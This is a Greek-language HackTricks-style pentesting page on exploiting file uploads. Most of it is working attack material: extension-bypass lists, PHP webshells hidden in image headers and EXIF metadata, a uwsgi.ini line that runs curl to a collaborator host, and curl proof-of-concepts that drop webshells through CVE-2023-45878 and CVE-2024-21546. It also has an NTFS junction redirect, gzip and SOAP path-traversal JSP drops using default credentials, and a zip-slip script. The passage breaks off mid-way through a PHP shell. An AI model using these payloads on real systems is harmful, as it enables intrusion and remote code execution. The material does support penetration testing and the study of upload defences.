Μεταφόρτωση Αρχείων

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Γενική Μεθοδολογία Μεταφόρτωσης Αρχείων

Άλλες χρήσιμες επεκτάσεις:

  • PHP: .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module
  • Working in PHPv8: .php, .php4, .php5, .phtml_, .module_, .inc_, .hphp_, .ctp_
  • ASP: .asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml
  • Jsp: .jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action
  • Coldfusion: .cfm, .cfml, .cfc, .dbm
  • Flash: .swf
  • Perl: .pl, .cgi
  • Erlang Yaws Web Server: .yaws

Παρακάμψη ελέγχων επεκτάσεων αρχείων

  1. Αν ισχύουν, ελέγξτε τις προηγούμενες επεκτάσεις. Δοκιμάστε τις επίσης χρησιμοποιώντας κεφαλαία γράμματα: pHp, .pHP5, .PhAr …
  2. Ελέγξτε το να προσθέσετε μια έγκυρη επέκταση πριν την επέκταση εκτέλεσης (χρησιμοποιήστε και τις προηγούμενες επεκτάσεις):
  • file.png.php
  • file.png.Php5
  1. Δοκιμάστε να προσθέσετε ειδικούς χαρακτήρες στο τέλος. Μπορείτε να χρησιμοποιήσετε το Burp για να bruteforce όλους τους ascii και Unicode χαρακτήρες. (Σημείωση: μπορείτε επίσης να δοκιμάσετε να χρησιμοποιήσετε τις προηγουμένως αναφερθείσες επεκτάσεις)
  • file.php%20
  • file.php%0a
  • file.php%00
  • file.php%0d%0a
  • file.php/
  • file.php.\
  • file.
  • file.php….
  • file.pHp5….
  1. Προσπαθήστε να παρακάμψετε τις προστασίες ξεγελώντας τον parser επεκτάσεων στην πλευρά του server με τεχνικές όπως διπλασιασμό της επέκτασης ή προσθήκη σκουπιδιών (null bytes) μεταξύ επεκτάσεων. Μπορείτε επίσης να χρησιμοποιήσετε τις προηγούμενες επεκτάσεις για να ετοιμάσετε ένα καλύτερο payload.
  • file.png.php
  • file.png.pHp5
  • file.php#.png
  • file.php%00.png
  • file.php\x00.png
  • file.php%0a.png
  • file.php%0d%0a.png
  • file.phpJunk123png
  1. Προσθέστε ένα ακόμα επίπεδο επεκτάσεων στον προηγούμενο έλεγχο:
  • file.png.jpg.php
  • file.php%00.png%00.jpg
  1. Δοκιμάστε να βάλετε την εκτελέσιμη επέκταση πριν από την έγκυρη επέκταση και ελπίζετε ότι ο server είναι εσφαλμένα διαμορφωμένος. (χρήσιμο για εκμετάλλευση misconfigurations του Apache όπου οτιδήποτε με επέκταση .php, αλλά όχι απαραίτητα τελειώνει σε .php, θα εκτελέσει κώδικα):
  • ex: file.php.png
  1. Χρήση NTFS alternate data stream (ADS) σε Windows. Σε αυτή την περίπτωση, θα εισαχθεί ο χαρακτήρας “:” μετά από μία απαγορευμένη επέκταση και πριν από μία επιτρεπόμενη. Ως αποτέλεσμα, θα δημιουργηθεί στο server ένα κενό αρχείο με την απαγορευμένη επέκταση (π.χ. “file.asax:.jpg”). Αυτό το αρχείο μπορεί να επεξεργαστεί αργότερα με άλλες τεχνικές όπως η χρήση του short filename. Το μοτίβο “::$data” μπορεί επίσης να χρησιμοποιηθεί για να δημιουργήσει μη-κενά αρχεία. Επομένως, η προσθήκη ενός dot χαρακτήρα μετά από αυτό το μοτίβο μπορεί επίσης να είναι χρήσιμη για να παρακαμφθούν περαιτέρω περιορισμοί (π.χ. “file.asp::$data.”).
  2. Δοκιμάστε να σπάσετε τα όρια μήκους του ονόματος αρχείου. Η έγκυρη επέκταση αποκόπτεται. Και το κακόβουλο PHP παραμένει. AAA<–SNIP–>AAA.php
# Linux maximum 255 bytes
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 here and adding .png
# Upload the file and check response how many characters it alllows. Let's say 236
python -c 'print "A" * 232'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
# Make the payload
AAA<--SNIP 232 A-->AAA.php.png

UniSharp Laravel Filemanager pre-2.9.1 (.php. τελική τελεία) – CVE-2024-21546

Ορισμένοι upload handlers περικόπτουν ή κανονικοποιούν τους τελικούς χαρακτήρες τελείας από το αποθηκευμένο όνομα αρχείου. Στις εκδόσεις πριν από 2.9.1 του UniSharp’s Laravel Filemanager (unisharp/laravel-filemanager), μπορείτε να παρακάμψετε τον έλεγχο επεκτάσεων με:

  • Χρησιμοποιώντας ένα έγκυρο image MIME και magic header (π.χ., PNG’s \x89PNG\r\n\x1a\n).
  • Ονομάζοντας το uploaded αρχείο με επέκταση PHP ακολουθούμενη από τελεία, π.χ., shell.php..
  • Ο server αφαιρεί την τελική τελεία και αποθηκεύει shell.php, το οποίο θα εκτελεστεί εάν τοποθετηθεί σε έναν web-served κατάλογο (default public storage όπως /storage/files/).

Ελάχιστο PoC (Burp Repeater):

POST /profile/avatar HTTP/1.1
Host: target
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

------WebKitFormBoundary
Content-Disposition: form-data; name="upload"; filename="0xdf.php."
Content-Type: image/png

\x89PNG\r\n\x1a\n<?php system($_GET['cmd']??'id'); ?>
------WebKitFormBoundary--

Στη συνέχεια επισκεφθείτε την αποθηκευμένη διαδρομή (τυπικό σε Laravel + LFM):

GET /storage/files/0xdf.php?cmd=id

Παρακάμψτε Content-Type, Magic Number, Compression & Resizing

  • Παρακάμψτε τους ελέγχους του Content-Type θέτοντας την τιμή της κεφαλίδας Content-Type σε: image/png , text/plain , application/octet-stream
  1. Content-Type wordlist: https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt
  • Παρακάμψτε τον έλεγχο του magic number προσθέτοντας στην αρχή του αρχείου τα bytes ενός πραγματικού image (να μπερδέψετε την εντολή file). Ή εισάγετε το shell μέσα στα metadata:
    exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg
    \ or you could also introduce the payload directly in an image:
    echo '<?php system($_REQUEST['cmd']); ?>' >> img.png
  • Αν προστίθεται συμπίεση στην εικόνα σας, για παράδειγμα χρησιμοποιώντας κάποιες standard PHP βιβλιοθήκες όπως PHP-GD, οι προηγούμενες τεχνικές δεν θα είναι χρήσιμες. Ωστόσο, μπορείτε να χρησιμοποιήσετε το PLTE chunk technique defined here για να εισάγετε κάποιο κείμενο που θα επιβιώσει την συμπίεση.
  • Github with the code
  • Η σελίδα μπορεί επίσης να κάνει αλλαγή μεγέθους της εικόνας, χρησιμοποιώντας για παράδειγμα τις PHP-GD συναρτήσεις imagecopyresized ή imagecopyresampled. Ωστόσο, μπορείτε να χρησιμοποιήσετε το IDAT chunk technique defined here για να εισάγετε κάποιο κείμενο που θα επιβιώσει την συμπίεση.
  • Github with the code
  • Άλλη τεχνική για να φτιάξετε ένα payload που επιβιώνει την αλλαγή μεγέθους εικόνας, χρησιμοποιώντας τη PHP-GD συνάρτηση thumbnailImage. Ωστόσο, μπορείτε να χρησιμοποιήσετε το tEXt chunk technique defined here για να εισάγετε κάποιο κείμενο που θα επιβιώσει την συμπίεση.
  • Github with the code

Άλλα κόλπα που πρέπει να ελέγξετε

  • Βρείτε ευπάθεια για μετονομασία του αρχείου που έχει ήδη ανέβει (για αλλαγή της επέκτασης).
  • Βρείτε ευπάθεια Local File Inclusion για να εκτελέσετε το backdoor.
  • Πιθανή αποκάλυψη πληροφοριών:
  1. Ανεβάστε πολλές φορές (και ταυτόχρονα) το ίδιο αρχείο με το ίδιο όνομα
  2. Ανεβάστε ένα αρχείο με το όνομα ενός αρχείου ή φακέλου που υπάρχει ήδη
  3. Ανεβάζοντας ένα αρχείο με “.” , “..”, or “…” ως όνομα. Για παράδειγμα, σε Apache σε Windows, αν η εφαρμογή αποθηκεύει τα ανεβασμένα αρχεία στο “/www/uploads/” directory, το “.” filename will create a file called uploads” in the “/www/” directory.
  4. Ανεβάστε ένα αρχείο που ίσως να μην διαγράφεται εύκολα όπως “…:.jpg” σε NTFS. (Windows)
  5. Ανεβάστε ένα αρχείο σε Windows με μη έγκυρους χαρακτήρες όπως |<>*?” στο όνομά του. (Windows)
  6. Ανεβάστε ένα αρχείο σε Windows χρησιμοποιώντας reserved (forbidden) names όπως CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, and LPT9.
  • Δοκιμάστε επίσης να ανεβάσετε ένα εκτελέσιμο (.exe) ή ένα .html (λιγότερο ύποπτο) που θα εκτελέσει κώδικα όταν ανοιχτεί κατά λάθος από το θύμα.

Ειδικά κόλπα με επεκτάσεις

If you are trying to upload files to a PHP server, take a look at the .htaccess trick to execute code.
If you are trying to upload files to an ASP server, take a look at the .config trick to execute code.

Τα αρχεία .phar είναι σαν τα .jar για java, αλλά για php, και μπορούν να χρησιμοποιηθούν σαν αρχείο php (εκτελώντας τα με php, ή συμπεριλαμβάνοντάς τα μέσα σε ένα script…)

Η επέκταση .inc χρησιμοποιείται μερικές φορές για αρχεία php που χρησιμοποιούνται μόνο για εισαγωγή αρχείων, οπότε, σε κάποιο σημείο, κάποιος θα μπορούσε να έχει επιτρέψει αυτή την επέκταση να εκτελείται.

Jetty RCE

If you can upload a XML file into a Jetty server you can obtain RCE because **new .xml and .war are automatically processed. So, as mentioned in the following image, upload the XML file to $JETTY_BASE/webapps/ and expect the shell!

https://twitter.com/ptswarm/status/1555184661751648256/photo/1

uWSGI RCE

For a detailed exploration of this vulnerability check the original research: uWSGI RCE Exploitation.

Ευπάθειες Remote Command Execution (RCE) μπορούν να εκμεταλλευτούν σε uWSGI servers αν υπάρχει δυνατότητα τροποποίησης του αρχείου ρυθμίσεων .ini. Τα αρχεία ρυθμίσεων του uWSGI χρησιμοποιούν μια συγκεκριμένη σύνταξη για να ενσωματώνουν “magic” variables, placeholders, και operators. Ιδιαίτερα, ο τελεστής ‘@’, που χρησιμοποιείται ως @(filename), έχει σχεδιαστεί για να συμπεριλαμβάνει το περιεχόμενο ενός αρχείου. Μεταξύ των διάφορων υποστηριζόμενων schemes στο uWSGI, το scheme “exec” είναι ιδιαίτερα ισχυρό, επιτρέποντας την ανάγνωση δεδομένων από το standard output μιας διεργασίας. Αυτή η δυνατότητα μπορεί να χειραγωγηθεί για κακόβουλους σκοπούς όπως Remote Command Execution ή Arbitrary File Write/Read όταν γίνεται επεξεργασία ενός .ini αρχείου ρύθμισης.

Consider the following example of a harmful uwsgi.ini file, showcasing various schemes:

[uwsgi]
; read from a symbol
foo = @(sym://uwsgi_funny_function)
; read from binary appended data
bar = @(data://[REDACTED])
; read from http
test = @(http://[REDACTED])
; read from a file descriptor
content = @(fd://[REDACTED])
; read from a process stdout
body = @(exec://whoami)
; curl to exfil via collaborator
extra = @(exec://curl http://collaborator-unique-host.oastify.com)
; call a function returning a char *
characters = @(call://uwsgi_func)

Η εκτέλεση του payload γίνεται κατά την ανάλυση (parsing) του αρχείου configuration. Για να ενεργοποιηθεί και να αναλυθεί η ρύθμιση, η διεργασία uWSGI πρέπει είτε να επανεκκινηθεί (πιθανώς μετά από κατάρρευση ή λόγω Denial of Service attack) είτε το αρχείο να οριστεί σε auto-reload. Η λειτουργία auto-reload, αν είναι ενεργοποιημένη, επαναφορτώνει το αρχείο σε καθορισμένα διαστήματα όταν εντοπίζει αλλαγές.

Είναι κρίσιμο να κατανοήσει κανείς την επιεική φύση της ανάλυσης των αρχείων ρυθμίσεων του uWSGI. Συγκεκριμένα, το payload που συζητήθηκε μπορεί να εισαχθεί μέσα σε ένα δυαδικό αρχείο (όπως εικόνα ή PDF), διευρύνοντας περαιτέρω το πεδίο πιθανής εκμετάλλευσης.

Gibbon LMS arbitrary file write to pre-auth RCE (CVE-2023-45878)

Unauthenticated endpoint in Gibbon LMS επιτρέπει arbitrary file write μέσα στο web root, οδηγώντας σε pre-auth RCE με την απόθεση ενός PHP αρχείου. Ευάλωτες εκδόσεις: μέχρι και η 25.0.01.

  • Endpoint: /Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php
  • Μέθοδος: POST
  • Απαιτούμενες παράμετροι:
  • img: data-URI-like string: [mime];[name],[base64] (ο server αγνοεί type/name και κάνει base64-decode το τέλος)
  • path: destination filename relative to Gibbon install dir (π.χ., poc.php ή 0xdf.php)
  • gibbonPersonID: οποιαδήποτε μη-κενή τιμή γίνεται αποδεκτή (π.χ., 0000000001)

Minimal PoC to write and read back a file:

# Prepare test payload
printf '0xdf was here!' | base64
# => MHhkZiB3YXMgaGVyZSEK

# Write poc.php via unauth POST
curl http://target/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php \
-d 'img=image/png;test,MHhkZiB3YXMgaGVyZSEK&path=poc.php&gibbonPersonID=0000000001'

# Verify write
curl http://target/Gibbon-LMS/poc.php

Ανεβάστε έναν ελάχιστο webshell και εκτελέστε εντολές:

# '<?php system($_GET["cmd"]); ?>' base64
# PD9waHAgIHN5c3RlbSgkX0dFVFsiY21kIl0pOyA/Pg==

curl http://target/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php \
-d 'img=image/png;foo,PD9waHAgIHN5c3RlbSgkX0dFVFsiY21kIl0pOyA/Pg==&path=shell.php&gibbonPersonID=0000000001'

curl 'http://target/Gibbon-LMS/shell.php?cmd=whoami'

Σημειώσεις:

  • Ο handler εκτελεί base64_decode($_POST["img"]) αφού κάνει split με ; και ,, και στη συνέχεια γράφει bytes στο $absolutePath . '/' . $_POST['path'] χωρίς να ελέγχει επέκταση/τύπο.
  • Ο προκύπτων κώδικας τρέχει ως ο χρήστης του web service (π.χ., XAMPP Apache σε Windows).

Αναφορές για αυτό το bug περιλαμβάνουν το usd HeroLab advisory και την καταχώρηση NVD. Δες την ενότητα References παρακάτω.

wget Μεταφόρτωση Αρχείων/SSRF Κόλπο

Σε ορισμένες περιπτώσεις μπορεί να διαπιστώσετε ότι ένας server χρησιμοποιεί wget για να κατεβάσει αρχεία και μπορείτε να υποδείξετε το URL. Σε αυτές τις περιπτώσεις, ο κώδικας μπορεί να ελέγχει ότι η επέκταση των αρχείων που κατεβαίνουν βρίσκεται σε μια whitelist για να διασφαλίσει ότι μόνο επιτρεπτά αρχεία θα κατέβουν. Ωστόσο, αυτός ο έλεγχος μπορεί να παρακαμφθεί.
Η μέγιστη μήκος ενός όνοματος αρχείου σε linux είναι 255, ωστόσο, το wget περικόπτει τα ονόματα αρχείων σε 236 χαρακτήρες. Μπορείτε να κατεβάσετε ένα αρχείο με όνομα “A”*232+“.php”+“.gif”, αυτό το όνομα αρχείου θα παρακάμψει τον έλεγχο (καθώς σε αυτό το παράδειγμα “.gif” είναι μια έγκυρη επέκταση) αλλά wget θα μετονομάσει το αρχείο σε “A”*232+“.php”.

#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
python3 -m http.server 9080
#Download the file
wget 127.0.0.1:9080/$(python -c 'print("A"*(236-4)+".php"+".gif")')
The name is too long, 240 chars total.
Trying to shorten...
New name is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.
--2020-06-13 03:14:06--  http://127.0.0.1:9080/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.gif
Connecting to 127.0.0.1:9080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10 [image/gif]
Saving to: ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’

AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[===============================================>]      10  --.-KB/s    in 0s

2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]

Note that μια άλλη επιλογή που μπορεί να σκέφτεστε για να παρακάμψετε αυτόν τον έλεγχο είναι να κάνετε τον HTTP server να προωθήσει (redirect) σε διαφορετικό αρχείο, έτσι ώστε το αρχικό URL να παρακάμψει τον έλεγχο αλλά στη συνέχεια το wget θα κατεβάσει το ανακατευθυνόμενο αρχείο με το νέο όνομα. Αυτό δεν θα λειτουργήσει εκτός εάν το wget χρησιμοποιηθεί με την παράμετρο --trust-server-names επειδή το wget θα κατεβάσει τη σελίδα στην οποία έγινε redirect με το όνομα του αρχείου που υποδεικνύεται στο αρχικό URL.

Παράκαμψη του φακέλου uploads μέσω NTFS junctions (Windows)

(Για αυτή την επίθεση θα χρειαστείτε τοπική πρόσβαση στη μηχανή Windows) Όταν τα uploads αποθηκεύονται κάτω από υποφακέλους ανά χρήστη σε Windows (π.χ., C:\Windows\Tasks\Uploads<id>) και ελέγχετε τη δημιουργία/διαγραφή αυτού του υποφακέλου, μπορείτε να τον αντικαταστήσετε με ένα directory junction που δείχνει σε μια ευαίσθητη τοποθεσία (π.χ., το webroot). Τα επόμενα uploads θα γραφτούν στο target path, επιτρέποντας εκτέλεση κώδικα αν ο προορισμός ερμηνεύει server‑side code.

Example flow to redirect uploads into XAMPP webroot:

:: 1) Upload once to learn/confirm your per-user folder name (e.g., md5 of form fields)
::    Observe it on disk: C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882

:: 2) Remove the created folder and create a junction to webroot
rmdir C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882
cmd /c mklink /J C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882 C:\xampp\htdocs

:: 3) Re-upload your payload; it lands under C:\xampp\htdocs
::    Minimal PHP webshell for testing
::    <?php echo shell_exec($_REQUEST['cmd']); ?>

:: 4) Trigger
curl "http://TARGET/shell.php?cmd=whoami"

Σημειώσεις

  • mklink /J creates an NTFS directory junction (reparse point). Ο λογαριασμός του web server πρέπει να ακολουθεί το junction και να έχει δικαίωμα εγγραφής στον προορισμό.
  • Αυτό ανακατευθύνει αυθαίρετες εγγραφές αρχείων· αν ο προορισμός εκτελεί scripts (PHP/ASP), αυτό καταλήγει σε RCE.
  • Αμυντικά μέτρα: μην επιτρέπετε writable upload roots να είναι attacker‑controllable υπό C:\Windows\Tasks ή παρόμοια· μπλοκάρετε τη δημιουργία junctions· validate extensions server‑side· αποθηκεύστε τα uploads σε ξεχωριστό volume ή με deny‑execute ACLs.

GZIP-compressed body upload + path traversal in destination param → JSP webshell RCE (Tomcat)

Κάποιοι upload/ingest handlers γράφουν το raw request body σε ένα filesystem path που κατασκευάζεται από query parameters ελεγχόμενες από τον χρήστη. Εάν ο handler υποστηρίζει επίσης Content-Encoding: gzip και αποτυγχάνει να κανονικοποιήσει/επικυρώσει το destination path, μπορείτε να συνδυάσετε directory traversal με ένα gzipped payload για να γράψετε αυθαίρετα bytes σε έναν web‑served κατάλογο και να αποκτήσετε RCE (π.χ. να τοποθετήσετε ένα JSP στον Tomcat webapps).

Γενική ροή εκμετάλλευσης:

  • Προετοιμάστε το server-side payload σας (π.χ., minimal JSP webshell) και gzip-compress τα bytes.
  • Στείλτε ένα POST όπου μια path parameter (π.χ., token) περιέχει traversal που διαφεύγει τον προοριζόμενο φάκελο, και το file υποδεικνύει το filename που θα αποθηκευτεί. Set Content-Type: application/octet-stream και Content-Encoding: gzip; το body είναι το συμπιεσμένο payload.
  • Περιηγηθείτε στο γραμμένο αρχείο για να πυροδοτήσετε την εκτέλεση.

Ενδεικτικό αίτημα:

POST /fileupload?token=..%2f..%2f..%2f..%2fopt%2ftomcat%2fwebapps%2fROOT%2Fjsp%2F&file=shell.jsp HTTP/1.1
Host: target
Content-Type: application/octet-stream
Content-Encoding: gzip
Content-Length: <len>

<gzip-compressed-bytes-of-your-jsp>

Στη συνέχεια ενεργοποιήστε:

GET /jsp/shell.jsp?cmd=id HTTP/1.1
Host: target

Notes

  • Οι διαδρομές-στόχοι διαφέρουν ανά εγκατάσταση (π.χ., /opt/TRUfusion/web/tomcat/webapps/trufusionPortal/jsp/ σε ορισμένα stacks). Οποιοσδήποτε φάκελος εκτεθειμένος στο web που εκτελεί JSP θα λειτουργήσει.
  • Burp Suite’s Hackvertor extension μπορεί να παράγει ένα σωστό gzip body από το payload σας.
  • Πρόκειται για ένα καθαρό pre-auth arbitrary file write → RCE pattern· δεν βασίζεται σε multipart parsing.

Mitigations

  • Καθορίστε τους προορισμούς ανεβάσματος από την πλευρά του server· μη δέχεστε ποτέ path fragments από clients.
  • Κανoνικοποιήστε και επιβάλετε ώστε η επιλυθείσα διαδρομή να παραμένει εντός μιας allow-listed βασικής διαδρομής.
  • Αποθηκεύστε τα uploads σε μη-εκτελέσιμο volume και απαγορεύστε την εκτέλεση script από writable paths.

Axis2 SOAP uploadFile traversal to Tomcat webroot (JSP drop)

Axis2-based upload services sometimes expose an uploadFile SOAP action that takes three attacker-controlled fields: jobDirectory (destination directory), archiveName (filename), and dataHandler (base64 file content). If jobDirectory is not canonicalized, you get arbitrary file write via path traversal and can land a JSP in Tomcat’s webapps.

Minimal request outline (default creds often work: admin / trubiquity):

POST /services/WsPortalV6UpDwAxis2Impl HTTP/1.1
Host: 127.0.0.1
Content-Type: text/xml

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:updw="http://updw.webservice.ddxPortalV6.ddxv6.procaess.com">
<soapenv:Body>
<updw:uploadFile>
<updw:login>admin</updw:login>
<updw:password>trubiquity</updw:password>
<updw:archiveName>shell.jsp</updw:archiveName>
<updw:jobDirectory>/../../../../opt/TRUfusion/web/tomcat/webapps/trufusionPortal/jsp/</updw:jobDirectory>
<updw:dataHandler>PD8lQCBwYWdlIGltcG9ydD0iamF2YS5pby4qIjsgc3lzdGVtKHJlcXVlc3QuZ2V0UGFyYW1ldGVyKCJjbWQiKSk7Pz4=</updw:dataHandler>
</updw:uploadFile>
</soapenv:Body>
</soapenv:Envelope>
  • Bindings είναι συχνά localhost-only· συνδυάστε με ένα full-read SSRF (absolute-URL request line, Host header ignored) για να φτάσετε το 127.0.0.1 αν η θύρα του Axis2 δεν είναι εκτεθειμένη.
  • Μετά το γράψιμο, περιηγηθείτε στο /trufusionPortal/jsp/shell.jsp?cmd=id για να εκτελέσετε.

Εργαλεία

  • Upload Bypass είναι ένα ισχυρό εργαλείο σχεδιασμένο για να βοηθάει Pentesters και Bug Hunters στον έλεγχο των μηχανισμών file upload. Χρησιμοποιεί διάφορες bug bounty τεχνικές για να απλοποιήσει τη διαδικασία εντοπισμού και εκμετάλλευσης ευπαθειών, εξασφαλίζοντας πλήρεις αξιολογήσεις των web εφαρμογών.

Corrupting upload indices with snprintf quirks (historical)

Κάποιοι legacy upload handlers που χρησιμοποιούν snprintf() ή παρόμοια για να χτίσουν multi-file arrays από ένα single-file upload μπορούν να εξαπατηθούν ώστε να πλαστογραφήσουν τη δομή _FILES. Εξαιτίας ασυνεπειών και truncation στη συμπεριφορά του snprintf(), ένα προσεκτικά κατασκευασμένο single upload μπορεί να εμφανιστεί ως πολλαπλά indexed αρχεία στην πλευρά του server, μπερδεύοντας λογική που υποθέτει ένα σταθερό σχήμα (π.χ. το χειρίζεται ως multi-file upload και παίρνει unsafe branches). Ενώ σπάνιο σήμερα, αυτό το μοτίβο “index corruption” εμφανίζεται περιστασιακά σε CTFs και παλαιότερες codebases.

Από το File upload σε άλλες ευπάθειες

Here’s a top 10 list of things that you can achieve by uploading (from here):

  1. ASP / ASPX / PHP5 / PHP / PHP3: Webshell / RCE
  2. SVG: Stored XSS / SSRF / XXE
  3. GIF: Stored XSS / SSRF
  4. CSV: CSV injection
  5. XML: XXE
  6. AVI: LFI / SSRF
  7. HTML / JS : HTML injection / XSS / Open redirect
  8. PNG / JPEG: Pixel flood attack (DoS)
  9. ZIP: RCE via LFI / DoS
  10. PDF / PPTX: SSRF / BLIND XXE

Burp Extension

GitHub - PortSwigger/upload-scanner: HTTP file upload scanner for Burp Proxy \xc2\xb7 GitHub

Magic Header Bytes

  • PNG: "\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\x s0\x03["
  • JPG: "\xff\xd8\xff"

Ανατρέξτε στο https://en.wikipedia.org/wiki/List_of_file_signatures για άλλους τύπους αρχείων.

Zip/Tar File Automatically decompressed Upload

Αν μπορείτε να ανεβάσετε ένα ZIP που θα αποσυμπιεστεί μέσα στον server, μπορείτε να κάνετε 2 πράγματα:

Upload ένα archive που περιέχει soft links (symlinks) προς άλλα αρχεία· στη συνέχεια, όταν αποκτήσετε πρόσβαση στα αποσυμπιεσμένα αρχεία, θα αποκτήσετε πρόσβαση και στα linked αρχεία:

ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
tar -cvf test.tar symindex.txt

Αποσυμπίεση σε διαφορετικούς φακέλους

Η απρόσμενη δημιουργία αρχείων σε καταλόγους κατά την αποσυμπίεση αποτελεί σημαντικό πρόβλημα. Παρά την αρχική υπόθεση ότι αυτή η ρύθμιση μπορεί να προστατεύει από την εκτέλεση εντολών σε επίπεδο OS μέσω κακόβουλων uploads, η ιεραρχική υποστήριξη συμπίεσης και οι δυνατότητες directory traversal του μορφότυπου ZIP μπορούν να εκμεταλλευτούν. Αυτό επιτρέπει σε επιτιθέμενους να παρακάμψουν περιορισμούς και να διαφύγουν από ασφαλείς καταλόγους ανέβασματος χειριζόμενοι τη λειτουργία αποσυμπίεσης της στοχευόμενης εφαρμογής.

Ένα αυτοματοποιημένο exploit για τη δημιουργία τέτοιων αρχείων είναι διαθέσιμο στο evilarc on GitHub. Το εργαλείο μπορεί να χρησιμοποιηθεί ως εξής:

# Listing available options
python2 evilarc.py -h
# Creating a malicious archive
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php

Επιπλέον, η symlink trick with evilarc είναι μια επιλογή. Εάν ο στόχος είναι να στοχεύσετε ένα αρχείο όπως το /flag.txt, θα πρέπει να δημιουργηθεί ένας symlink προς αυτό το αρχείο στο σύστημά σας. Αυτό διασφαλίζει ότι το evilarc δεν θα αντιμετωπίσει σφάλματα κατά τη λειτουργία του.

Παρακάτω βρίσκεται ένα παράδειγμα κώδικα Python που χρησιμοποιείται για τη δημιουργία ενός κακόβουλου zip αρχείου:

#!/usr/bin/python
import zipfile
from io import BytesIO


def create_zip():
f = BytesIO()
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
z.writestr('../../../../../var/www/html/webserver/shell.php', '<?php echo system($_REQUEST["cmd"]); ?>')
z.writestr('otherfile.xml', 'Content of the file')
z.close()
zip = open('poc.zip','wb')
zip.write(f.getvalue())
zip.close()

create_zip()

Abusing compression for file spraying

Για περισσότερες λεπτομέρειες δείτε το αρχικό άρθρο στο: https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/

  1. Creating a PHP Shell: Γράφεται PHP κώδικας για την εκτέλεση εντολών που περνάνε μέσω της $_REQUEST μεταβλητής.
<?php
if(isset($_REQUEST['cmd'])){
